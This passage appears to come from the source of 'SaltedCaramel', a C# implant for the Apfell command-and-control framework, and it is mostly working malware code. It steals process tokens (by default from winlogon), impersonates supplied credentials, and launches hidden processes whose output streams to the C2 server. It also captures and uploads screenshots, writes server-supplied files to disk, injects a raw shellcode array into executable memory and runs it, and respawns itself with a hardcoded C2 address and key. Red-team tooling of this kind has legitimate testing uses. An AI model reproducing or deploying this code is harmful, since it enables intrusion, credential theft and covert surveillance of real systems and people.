182 | startupInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle(); 183 | startupInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle(); 184 | // STARTF_USESTDHANDLES ensures that the process will respect hStdInput/hStdOutput 185 | // STARTF_USESHOWWINDOW ensures that the process will respect wShowWindow 186 | startupInfo.dwFlags = (uint)Win32.Advapi32.STARTF.STARTF_USESTDHANDLES | (uint)Win32.Advapi32.STARTF.STARTF_USESHOWWINDOW; 187 | startupInfo.wShowWindow = 0; 188 | 189 | // Create PROCESS_INFORMATION struct to hold info about the process we're going to start 190 | Win32.Advapi32.PROCESS_INFORMATION newProc = new Win32.Advapi32.PROCESS_INFORMATION(); 191 | 192 | // Finally, create our new process 193 | bool createProcess = Win32.Advapi32.CreateProcessWithLogonW( 194 | Token.Cred.User, // lpUsername 195 | Token.Cred.Domain, // lpDomain 196 | Token.Cred.Password, // lpPassword 197 | 0x00000002, // dwLogonFlags 0x00000002 = LOGON_NETCREDENTIALS_ONLY 198 | null, // lpApplicationName 199 | file + " " + argString, // lpCommandLineName 200 | IntPtr.Zero, // dwCreationFlags 201 | IntPtr.Zero, // lpEnvironment 202 | directory, // lpCurrentDirectory 203 | ref startupInfo, // lpStartupInfo 204 | out newProc); // lpProcessInformation 205 | 206 | Thread.Sleep(100); // Something weird is happening if the process exits before we can capture output 207 | 208 | if (createProcess) // Process started successfully 209 | { 210 | Debug.WriteLine("[+] DispatchTask -> StartProcessWithLogon - Created process with PID " + newProc.dwProcessId); 211 | SCTaskResp procStatus = new SCTaskResp(task.id, "Created process with PID " + newProc.dwProcessId); 212 | implant.PostResponse(procStatus); 213 | // Trying to continuously read output while the process is running. 214 | using (StreamReader reader = new StreamReader(pipeServer)) 215 | { 216 | SCTaskResp response; 217 | string message = null; 218 | List output = new List(); 219 | 220 | try 221 | { 222 | Process proc = Process.GetProcessById(newProc.dwProcessId); // We can use Process.HasExited() with this object 223 | 224 | while (!proc.HasExited) 225 | { 226 | // Will sometimes hang on ReadLine() for some reason, not sure why 227 | // Workaround for this is to time out if we don't get a result in ten seconds 228 | Action action = () => 229 | { 230 | try 231 | { 232 | message = reader.ReadLine(); 233 | } 234 | catch 235 | { 236 | // Fail silently if reader no longer exists 237 | // May happen if long running job times out? 238 | } 239 | }; 240 | IAsyncResult result = action.BeginInvoke(null, null); 241 | if (result.AsyncWaitHandle.WaitOne(300000)) 242 | { 243 | if (message != "" && message != null) 244 | { 245 | output.Add(message); 246 | if (output.Count >= 5) // Wait until we have five lines to send 247 | { 248 | response = new SCTaskResp(task.id, JsonConvert.SerializeObject(output)); 249 | implant.PostResponse(response); 250 | output.Clear(); 251 | Thread.Sleep(implant.sleep); 252 | } 253 | } 254 | } 255 | else 256 | { 257 | throw new Exception("Timed out while reading named pipe."); 258 | } 259 | } 260 | } 261 | catch (Exception e) 262 | { 263 | // Sometimes process may exit before we get this object back 264 | if (e.Message == "Timed out while reading named pipe.") // We don't care about other exceptions 265 | { 266 | throw e; 267 | } 268 | } 269 | 270 | Debug.WriteLine("[+] DispatchTask -> StartProcessWithLogon - Process with PID " + newProc.dwProcessId + " has exited"); 271 | 272 | pipeClient.Close(); 273 | 274 | while (reader.Peek() > 0) // Check if there is still data in the pipe 275 | { 276 | message = reader.ReadToEnd(); // Ensure we get any output that we missed when loop ended 277 | foreach (string msg in message.Split(new[] { Environment.NewLine }, StringSplitOptions.None)) 278 | { 279 | output.Add(msg); 280 | } 281 | } 282 | if (output.Count > 0) 283 | { 284 | task.status = "complete"; 285 | task.message = JsonConvert.SerializeObject(output); 286 | output.Clear(); 287 | } 288 | else 289 | { 290 | task.status = "complete"; 291 | task.message = "Execution complete."; 292 | } 293 | } 294 | 295 | pipeServer.Close(); 296 | } 297 | else 298 | { 299 | string errorMessage = Marshal.GetLastWin32Error().ToString(); 300 | Debug.WriteLine("[!] DispatchTask -> StartProcessWithToken - ERROR starting process: " + errorMessage); 301 | pipeClient.Close(); 302 | pipeServer.Close(); 303 | task.status = "error"; 304 | task.message = errorMessage; 305 | } 306 | } 307 | catch (Exception e) 308 | { 309 | pipeClient.Close(); 310 | pipeServer.Close(); 311 | task.status = "error"; 312 | task.message = e.Message; 313 | } 314 | } 315 | } 316 | 317 | /// 318 | /// Start a process using a stolen token 319 | /// C#'s System.Diagnostics.Process doesn't respect a WindowsImpersonationContext so we have to use CreateProcessWithTokenW 320 | /// 321 | /// 322 | /// 323 | /// 324 | public static void StartProcessWithToken(SCTask task, SCImplant implant) 325 | { 326 | string[] split; 327 | string argString; 328 | string file; 329 | if (task.command == "shell") 330 | { 331 | split = task.@params.Trim().Split(' '); 332 | argString = string.Join(" ", split); 333 | file = "cmd /c"; 334 | } 335 | else 336 | { 337 | split = task.@params.Trim().Split(' '); 338 | argString = string.Join(" ", split.Skip(1).ToArray()); 339 | file = split[0]; 340 | } 341 | 342 | // STARTUPINFO is used to control a few startup options for our new process 343 | Win32.Advapi32.STARTUPINFO startupInfo = new Win32.Advapi32.STARTUPINFO(); 344 | // Use C:\Temp as directory to ensure that we have rights to start our new process 345 | // TODO: determine if this is safe to change 346 | string directory = "C:\\Temp"; 347 | 348 | // Set security on anonymous pipe to allow any user to access 349 | PipeSecurity sec = new PipeSecurity(); 350 | sec.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, AccessControlType.Allow)); 351 | 352 | 353 | // TODO: Use anonymous pipes instead of named pipes 354 | using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 1024, sec)) 355 | using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) 356 | { 357 | try 358 | { 359 | startupInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle(); 360 | startupInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle(); 361 | // STARTF_USESTDHANDLES ensures that the process will respect hStdInput/hStdOutput 362 | // STARTF_USESHOWWINDOW ensures that the process will respect wShowWindow 363 | startupInfo.dwFlags = (uint)Win32.Advapi32.STARTF.STARTF_USESTDHANDLES | (uint)Win32.Advapi32.STARTF.STARTF_USESHOWWINDOW; 364 | startupInfo.wShowWindow = 0; 365 | 366 | // Create PROCESS_INFORMATION struct to hold info about the process we're going to start 367 | Win32.Advapi32.PROCESS_INFORMATION newProc = new Win32.Advapi32.PROCESS_INFORMATION(); 368 | 369 | // Finally, create our new process 370 | bool createProcess = Win32.Advapi32.CreateProcessWithTokenW( 371 | Token.stolenHandle, // hToken 372 | IntPtr.Zero, // dwLogonFlags 373 | null, // lpApplicationName 374 | file + " " + argString, // lpCommandLineName 375 | IntPtr.Zero, // dwCreationFlags 376 | IntPtr.Zero, // lpEnvironment 377 | directory, // lpCurrentDirectory 378 | ref startupInfo, // lpStartupInfo 379 | out newProc); // lpProcessInformation 380 | 381 | Thread.Sleep(100); // Something weird is happening if the process exits before we can capture output 382 | 383 | if (createProcess) // Process started successfully 384 | { 385 | Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Created process with PID " + newProc.dwProcessId); 386 | SCTaskResp procStatus = new SCTaskResp(task.id, "Created process with PID " + newProc.dwProcessId); 387 | implant.PostResponse(procStatus); 388 | // Trying to continuously read output while the process is running. 389 | using (StreamReader reader = new StreamReader(pipeServer)) 390 | { 391 | SCTaskResp response; 392 | string message = null; 393 | List output = new List(); 394 | 395 | try 396 | { 397 | Process proc = Process.GetProcessById(newProc.dwProcessId); // We can use Process.HasExited() with this object 398 | 399 | while (!proc.HasExited) 400 | { 401 | // Will sometimes hang on ReadLine() for some reason, not sure why 402 | // Workaround for this is to time out if we don't get a result in ten seconds 403 | Action action = () => 404 | { 405 | try 406 | { 407 | message = reader.ReadLine(); 408 | } 409 | catch 410 | { 411 | // Fail silently if reader no longer exists 412 | // May happen if long running job times out? 413 | } 414 | }; 415 | IAsyncResult result = action.BeginInvoke(null, null); 416 | if (result.AsyncWaitHandle.WaitOne(300000)) 417 | { 418 | if (message != "" && message != null) 419 | { 420 | output.Add(message); 421 | if (output.Count >= 5) // Wait until we have five lines to send 422 | { 423 | response = new SCTaskResp(task.id, JsonConvert.SerializeObject(output)); 424 | implant.PostResponse(response); 425 | output.Clear(); 426 | Thread.Sleep(implant.sleep); 427 | } 428 | } 429 | } 430 | else 431 | { 432 | throw new Exception("Timed out while reading named pipe."); 433 | } 434 | } 435 | } 436 | catch (Exception e) 437 | { 438 | // Sometimes process may exit before we get this object back 439 | if (e.Message == "Timed out while reading named pipe.") // We don't care about other exceptions 440 | { 441 | throw e; 442 | } 443 | } 444 | 445 | Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Process with PID " + newProc.dwProcessId + " has exited"); 446 | 447 | pipeClient.Close(); 448 | 449 | while (reader.Peek() > 0) // Check if there is still data in the pipe 450 | { 451 | message = reader.ReadToEnd(); // Ensure we get any output that we missed when loop ended 452 | foreach (string msg in message.Split(new[] { Environment.NewLine }, StringSplitOptions.None)) 453 | { 454 | output.Add(msg); 455 | } 456 | } 457 | if (output.Count > 0) 458 | { 459 | task.status = "complete"; 460 | output.Add("Execution complete."); 461 | task.message = JsonConvert.SerializeObject(output); 462 | output.Clear(); 463 | } 464 | else 465 | { 466 | task.status = "complete"; 467 | task.message = "Execution complete."; 468 | } 469 | } 470 | 471 | pipeServer.Close(); 472 | } 473 | else 474 | { 475 | string errorMessage = Marshal.GetLastWin32Error().ToString(); 476 | Debug.WriteLine("[!] DispatchTask -> StartProcessWithToken - ERROR starting process: " + errorMessage); 477 | pipeClient.Close(); 478 | pipeServer.Close(); 479 | task.status = "error"; 480 | task.message = errorMessage; 481 | } 482 | } 483 | catch (Exception e) 484 | { 485 | pipeClient.Close(); 486 | pipeServer.Close(); 487 | task.status = "error"; 488 | task.message = e.Message; 489 | } 490 | } 491 | } 492 | } 493 | } 494 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/ProcessList.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Diagnostics; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Principal; 7 | 8 | namespace SaltedCaramel.Tasks 9 | { 10 | public class ProcessList 11 | { 12 | public static void Execute(SCTask task) 13 | { 14 | List> procList = new List>(); 15 | foreach (Process proc in Process.GetProcesses()) 16 | { 17 | Dictionary procEntry = new Dictionary 18 | { 19 | { "process_id", proc.Id.ToString() }, 20 | { "name", proc.ProcessName } 21 | }; 22 | 23 | // This will fail if we don't have permissions to access the process. 24 | try { procEntry.Add("parent_process_id", GetParentProcess(proc.Handle).ToString()); } 25 | // Ignore it and move on 26 | catch { procEntry.Add("parent_process_id", ""); } 27 | 28 | try { procEntry.Add("user", GetProcessUser(proc.Handle)); } 29 | catch { procEntry.Add("user", ""); } 30 | 31 | try 32 | { 33 | Win32.Kernel32.IsWow64Process(proc.Handle, out bool is64); 34 | if (is64) procEntry.Add("arch", "x86"); 35 | else procEntry.Add("arch", "x64"); 36 | } 37 | catch { procEntry.Add("arch", ""); } 38 | 39 | procList.Add(procEntry); 40 | } 41 | 42 | task.status = "complete"; 43 | task.message = JsonConvert.SerializeObject(procList); 44 | } 45 | 46 | // No way of getting parent process from C#, but we can use NtQueryInformationProcess to get this info. 47 | public static int GetParentProcess(IntPtr procHandle) 48 | { 49 | Win32.Ntdll.PROCESS_BASIC_INFORMATION procinfo = new Win32.Ntdll.PROCESS_BASIC_INFORMATION(); 50 | _ = Win32.Ntdll.NtQueryInformationProcess( 51 | procHandle, // ProcessHandle 52 | 0, // processInformationClass 53 | ref procinfo, // ProcessBasicInfo 54 | Marshal.SizeOf(procinfo), // processInformationLength 55 | out _); // returnLength 56 | return procinfo.InheritedFromUniqueProcessId.ToInt32(); 57 | } 58 | 59 | // With a handle to a process token, we can create a new WindowsIdentity 60 | // and use that to get the process owner's username 61 | public static string GetProcessUser(IntPtr procHandle) 62 | { 63 | try 64 | { 65 | IntPtr tokenHandle = IntPtr.Zero; 66 | _ = Win32.Advapi32.OpenProcessToken( 67 | procHandle, // ProcessHandle 68 | (uint)TokenAccessLevels.MaximumAllowed, // desiredAccess 69 | out procHandle); // TokenHandle 70 | return new WindowsIdentity(procHandle).Name; 71 | } 72 | catch // If we can't open a handle to the process it will throw an exception 73 | { 74 | return ""; 75 | } 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/ScreenCapture.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Diagnostics; 4 | using System.Drawing; 5 | using System.IO; 6 | using System.Windows.Forms; 7 | 8 | /// 9 | /// This task will capture a screenshot and upload it to the Apfell server 10 | /// 11 | namespace SaltedCaramel.Tasks 12 | { 13 | public class ScreenCapture 14 | { 15 | public static void Execute(SCTask task, SCImplant implant) 16 | { 17 | Rectangle bounds = Screen.GetBounds(Point.Empty); 18 | Bitmap bm = new Bitmap(bounds.Width, bounds.Height); 19 | Graphics g = Graphics.FromImage(bm); 20 | g.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); 21 | 22 | using (MemoryStream ms = new MemoryStream()) 23 | { 24 | bm.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); 25 | byte[] screenshot = ms.ToArray(); 26 | 27 | SendCapture(implant, task, screenshot); 28 | } 29 | } 30 | 31 | 32 | // Same workflow as sending a file to Apfell server, but we only use one chunk 33 | private static void SendCapture(SCImplant implant, SCTask task, byte[] screenshot) 34 | { 35 | try // Try block for HTTP request 36 | { 37 | // Send total number of chunks to Apfell server 38 | // Number of chunks will always be one for screen capture task 39 | // Receive file ID in response 40 | SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + 1 + ", \"task\":\"" + task.id + "\"}"); 41 | DownloadReply reply = JsonConvert.DeserializeObject(implant.PostResponse(initial)); 42 | Debug.WriteLine($"[-] SendCapture - Received reply, file ID: " + reply.file_id); 43 | 44 | // Convert chunk to base64 blob and create our FileChunk 45 | FileChunk fc = new FileChunk(); 46 | fc.chunk_num = 1; 47 | fc.file_id = reply.file_id; 48 | fc.chunk_data = Convert.ToBase64String(screenshot); 49 | 50 | // Send our FileChunk to Apfell server 51 | // Receive status in response 52 | SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fc)); 53 | Debug.WriteLine($"[+] SendCapture - CHUNK SENT: {fc.chunk_num}"); 54 | string postReply = implant.PostResponse(response); 55 | Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.PostResponse(response)}"); 56 | 57 | // Tell the Apfell server file transfer is done 58 | implant.SendComplete(task.id); 59 | } 60 | catch (Exception e) // Catch exceptions from HTTP requests 61 | { 62 | // Something failed, so we need to tell the server about it 63 | task.status = "error"; 64 | task.message = e.Message; 65 | } 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Shellcode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SaltedCaramel.Tasks 5 | { 6 | public class Shellcode 7 | { 8 | public static void Execute(SCTask task) 9 | { 10 | if(LoadShellcode()) 11 | { 12 | task.status = "complete"; 13 | task.message = "Shellcode loaded."; 14 | } 15 | } 16 | public static bool LoadShellcode() 17 | { 18 | byte[] shellcode = new byte[294] { 19 | 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51, 20 | 0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, 21 | 0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48, 22 | 0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02, 23 | 0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e, 24 | 0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, 25 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48, 26 | 0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e, 27 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41, 28 | 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, 29 | 0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 30 | 0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e, 31 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41, 32 | 0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 33 | 0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1, 34 | 0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d, 35 | 0x85,0x10,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, 36 | 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x53,0x68,0x65, 37 | 0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x6c,0x6f,0x61,0x64,0x65,0x64,0x21,0x00, 38 | 0x73,0x63,0x6c,0x6f,0x61,0x64,0x65,0x72,0x00 }; 39 | 40 | IntPtr funcAddr = Win32.Kernel32.VirtualAlloc( 41 | IntPtr.Zero, //LPVOID lpAddress 42 | (ulong)shellcode.Length, //SIZE_T dwSize 43 | Win32.Kernel32.AllocationType.Commit, //DWORD flAllocationType 44 | Win32.Kernel32.MemoryProtection.ExecuteReadWrite); //DWORD flProtect 45 | Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length); 46 | 47 | IntPtr hThread = IntPtr.Zero; 48 | uint threadId = 0; 49 | IntPtr pinfo = IntPtr.Zero; 50 | 51 | hThread = Win32.Kernel32.CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 52 | Win32.Kernel32.WaitForSingleObject(hThread, 0xFFFFFFFF); 53 | return true; 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Spawn.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | 4 | namespace SaltedCaramel.Tasks 5 | { 6 | class Spawn 7 | { 8 | public static void Execute(SCTask task) 9 | { 10 | //typeof(SaltedCaramel).Assembly.EntryPoint.Invoke(null, 11 | // new[] { new string[] { "https://192.168.38.192", "CqxQlHyWOSWJprgBA6aiKPP94lCSn8+Ki+gpMVdLNgQ=", "3915d66f-e9a5-4912-8442-910e0cee74df" } }); 12 | AppDomain domain = AppDomain.CreateDomain("asdfasdf"); 13 | Assembly target = domain.Load(typeof(SaltedCaramel).Assembly.FullName); 14 | string[] args = { "https://192.168.38.192", "CqxQlHyWOSWJprgBA6aiKPP94lCSn8+Ki+gpMVdLNgQ=", "3915d66f-e9a5-4912-8442-910e0cee74df" }; 15 | target.EntryPoint.Invoke(null, new[] { args }); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Token.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using Newtonsoft.Json.Linq; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Diagnostics; 6 | using System.Runtime.InteropServices; 7 | using System.Security; 8 | using System.Security.Principal; 9 | 10 | namespace SaltedCaramel.Tasks 11 | { 12 | public struct Credential 13 | { 14 | public string Domain; 15 | public string User; 16 | public string Password; 17 | public SecureString SecurePassword; 18 | public bool NetOnly; 19 | } 20 | public class Token 21 | { 22 | public static IntPtr stolenHandle; 23 | public static Credential Cred; 24 | // (username, (password, netonly)) 25 | 26 | public static void Execute(SCTask task) 27 | { 28 | if (task.command == "steal_token") 29 | { 30 | StealToken(task); 31 | } 32 | else if (task.command == "make_token") 33 | { 34 | MakeToken(task); 35 | } 36 | } 37 | 38 | public static void MakeToken(SCTask task) 39 | { 40 | // make_token domain user password netonly 41 | JObject json = (JObject)JsonConvert.DeserializeObject(task.@params); 42 | Cred.Domain = json.Value("domain"); 43 | Cred.User = json.Value("user"); 44 | Cred.Password = json.Value("password"); 45 | if (json.Value("netonly") == "true") 46 | Cred.NetOnly = true; 47 | 48 | //string first = task.@params.Split(' ')[0]; 49 | //if (first.Contains("\\")) 50 | //{ 51 | // Cred.Domain = first.Split('\\')[0]; 52 | // Cred.User = first.Split('\\')[1]; 53 | //} 54 | //else 55 | //{ 56 | // Cred.Domain = "."; 57 | // Cred.User = first; 58 | //} 59 | 60 | //Cred.Password = task.@params.Split(' ')[1]; 61 | Cred.SecurePassword = new SecureString(); 62 | // Dumb workaround, but we have to do this to make a SecureString 63 | // out of a string 64 | foreach (char c in Cred.Password) 65 | { 66 | Cred.SecurePassword.AppendChar(c); 67 | } 68 | 69 | //Cred.NetOnly = false; 70 | //if (task.@params.Split(' ').Length > 2) 71 | //{ 72 | // if (task.@params.Split(' ')[2] == "netonly") 73 | // Cred.NetOnly = true; 74 | //} 75 | 76 | task.status = "complete"; 77 | if (Cred.NetOnly) 78 | task.message = $"Successfully impersonated {Cred.User} (netonly)"; 79 | else task.message = $"Successfully impersonated {Cred.User}"; 80 | } 81 | 82 | public static void StealToken(SCTask task) 83 | { 84 | try 85 | { 86 | int procId; 87 | IntPtr procHandle; 88 | if (task.@params == "") 89 | { 90 | Process winlogon = Process.GetProcessesByName("winlogon")[0]; 91 | procHandle = winlogon.Handle; 92 | Debug.WriteLine("[+] StealToken - Got handle to winlogon.exe at PID: " + winlogon.Id); 93 | } 94 | else 95 | { 96 | procId = Convert.ToInt32(task.@params); 97 | procHandle = Process.GetProcessById(procId).Handle; 98 | Debug.WriteLine("[+] StealToken - Got handle to process: " + procId); 99 | } 100 | 101 | try 102 | { 103 | // Stores the handle for the original process token 104 | stolenHandle = IntPtr.Zero; // Stores the handle for our duplicated token 105 | 106 | // Get handle to target process token 107 | bool procToken = Win32.Advapi32.OpenProcessToken( 108 | procHandle, // ProcessHandle 109 | (uint)TokenAccessLevels.MaximumAllowed, // desiredAccess 110 | out IntPtr tokenHandle); // TokenHandle 111 | 112 | if (!procToken) // Check if OpenProcessToken was successful 113 | throw new Exception(Marshal.GetLastWin32Error().ToString()); 114 | 115 | Debug.WriteLine("[+] StealToken - OpenProcessToken: " + procToken); 116 | 117 | try 118 | { 119 | // Duplicate token as stolenHandle 120 | bool duplicateToken = Win32.Advapi32.DuplicateTokenEx( 121 | tokenHandle, // hExistingToken 122 | (uint)TokenAccessLevels.MaximumAllowed, // dwDesiredAccess 123 | IntPtr.Zero, // lpTokenAttributes 124 | (uint)TokenImpersonationLevel.Impersonation, // ImpersonationLevel 125 | Win32.Advapi32.TOKEN_TYPE.TokenPrimary, // TokenType 126 | out stolenHandle); // phNewToken 127 | 128 | if (!duplicateToken) // Check if DuplicateTokenEx was successful 129 | throw new Exception(Marshal.GetLastWin32Error().ToString()); 130 | 131 | Debug.WriteLine("[+] StealToken - DuplicateTokenEx: " + duplicateToken); 132 | 133 | WindowsIdentity ident = new WindowsIdentity(stolenHandle); 134 | Debug.WriteLine("[+] StealToken - Successfully impersonated " + ident.Name); 135 | Win32.Kernel32.CloseHandle(tokenHandle); 136 | Win32.Kernel32.CloseHandle(procHandle); 137 | 138 | task.status = "complete"; 139 | task.message = "Successfully impersonated " + ident.Name; 140 | ident.Dispose(); 141 | } 142 | catch (Exception e) // Catch errors thrown by DuplicateTokenEx 143 | { 144 | Debug.WriteLine("[!] StealToken - ERROR duplicating token: " + e.Message); 145 | task.status = "error"; 146 | task.message = e.Message; 147 | } 148 | } 149 | catch (Exception e) // Catch errors thrown by OpenProcessToken 150 | { 151 | Debug.WriteLine("[!] StealToken - ERROR creating token handle: " + e.Message); 152 | task.status = "error"; 153 | task.message = e.Message; 154 | } 155 | } 156 | catch (Exception e) // Catch errors thrown by Process.GetProcessById 157 | { 158 | Debug.WriteLine("[!] StealToken - ERROR creating process handle: " + e.Message); 159 | task.status = "error"; 160 | task.message = e.Message; 161 | } 162 | } 163 | public static void Revert() 164 | { 165 | if (stolenHandle != IntPtr.Zero) 166 | { 167 | Win32.Kernel32.CloseHandle(stolenHandle); 168 | stolenHandle = IntPtr.Zero; 169 | } 170 | else if (Cred.User != null) 171 | { 172 | Cred = new Credential(); 173 | } 174 | } 175 | 176 | public static void Revert(SCTask task) 177 | { 178 | if (stolenHandle != IntPtr.Zero) 179 | { 180 | Win32.Kernel32.CloseHandle(stolenHandle); 181 | stolenHandle = IntPtr.Zero; 182 | } 183 | else if (Cred.User != null) 184 | { 185 | Cred = new Credential(); 186 | } 187 | task.status = "complete"; 188 | task.message = "Reverted to implant primary token."; 189 | } 190 | } 191 | } -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Upload.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using Newtonsoft.Json.Linq; 3 | using System; 4 | using System.Diagnostics; 5 | using System.IO; 6 | 7 | /// 8 | /// This task will upload a specified file from the Apfell server to the implant at the given file path 9 | /// 10 | namespace SaltedCaramel.Tasks 11 | { 12 | public class Upload 13 | { 14 | public static byte[] GetFile(string file_id, SCImplant implant) 15 | { 16 | byte[] bytes; 17 | string fileEndpoint = implant.endpoint + "files/callback/" + implant.callbackId; 18 | try 19 | { 20 | string payload = "{\"file_id\": \"" + file_id + "\"}"; 21 | // Get response from server and decrypt 22 | string result = HTTP.Post(fileEndpoint, payload); 23 | bytes = Convert.FromBase64String(result); 24 | return bytes; 25 | } 26 | catch 27 | { 28 | return null; 29 | } 30 | } 31 | 32 | public static void Execute(SCTask task, SCImplant implant) 33 | { 34 | JObject json = (JObject)JsonConvert.DeserializeObject(task.@params); 35 | string file_id = json.Value("file_id"); 36 | string filepath = json.Value("remote_path"); 37 | 38 | Debug.WriteLine("[-] Upload - Tasked to get file " + file_id); 39 | 40 | // If file exists, don't write file 41 | if (File.Exists(filepath)) 42 | { 43 | Debug.WriteLine($"[!] Upload - ERROR: File exists: {filepath}"); 44 | implant.SendError(task.id, "ERROR: File exists."); 45 | } 46 | else 47 | { 48 | // First we have to request the file from the server with a POST 49 | string fileEndpoint = implant.endpoint + "files/callback/" + implant.callbackId; 50 | try // Try block for HTTP request 51 | { 52 | string payload = "{\"file_id\": \"" + file_id + "\"}"; 53 | 54 | string result = HTTP.Post(fileEndpoint, payload); 55 | byte[] output = Convert.FromBase64String(result); 56 | try // Try block for writing file to disk 57 | { 58 | // Write file to disk 59 | File.WriteAllBytes(filepath, output); 60 | implant.SendComplete(task.id); 61 | Debug.WriteLine("[+] Upload - File written: " + filepath); 62 | } 63 | catch (Exception e) // Catch exceptions from file write 64 | { 65 | // Something failed, so we need to tell the server about it 66 | implant.SendError(task.id, e.Message); 67 | Debug.WriteLine("[!] Upload - ERROR: " + e.Message); 68 | } 69 | } 70 | catch (Exception e) // Catch exceptions from HTTP request 71 | { 72 | // Something failed, so we need to tell the server about it 73 | implant.SendError(task.id, e.Message); 74 | Debug.WriteLine("[!] Upload - ERROR: " + e.Message); 75 | } 76 | } 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /SaltedCaramel/Win32/advapi32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SaltedCaramel.Win32 5 | { 6 | internal class Advapi32 7 | { 8 | [StructLayout(LayoutKind.Sequential)] 9 | internal struct PROCESS_INFORMATION 10 | { 11 | internal IntPtr hProcess; 12 | internal IntPtr hThread; 13 | internal int dwProcessId; 14 | internal int dwThreadId; 15 | } 16 | 17 | [Flags] 18 | internal enum STARTF : uint 19 | { 20 | STARTF_USESHOWWINDOW = 0x00000001, 21 | STARTF_USESIZE = 0x00000002, 22 | STARTF_USEPOSITION = 0x00000004, 23 | STARTF_USECOUNTCHARS = 0x00000008, 24 | STARTF_USEFILLATTRIBUTE = 0x00000010, 25 | STARTF_RUNFULLSCREEN = 0x00000020, // ignored for non-x86 platforms 26 | STARTF_FORCEONFEEDBACK = 0x00000040, 27 | STARTF_FORCEOFFFEEDBACK = 0x00000080, 28 | STARTF_USESTDHANDLES = 0x00000100, 29 | } 30 | 31 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] 32 | internal struct STARTUPINFO 33 | { 34 | internal Int32 cb; 35 | internal IntPtr lpReserved; 36 | internal IntPtr lpDesktop; 37 | internal IntPtr lpTitle; 38 | internal Int32 dwX; 39 | internal Int32 dwY; 40 | internal Int32 dwXSize; 41 | internal Int32 dwYSize; 42 | internal Int32 dwXCountChars; 43 | internal Int32 dwYCountChars; 44 | internal Int32 dwFillAttribute; 45 | internal uint dwFlags; 46 | internal Int16 wShowWindow; 47 | internal Int16 cbReserved2; 48 | internal IntPtr lpReserved2; 49 | internal IntPtr hStdInput; 50 | internal IntPtr hStdOutput; 51 | internal IntPtr hStdError; 52 | } 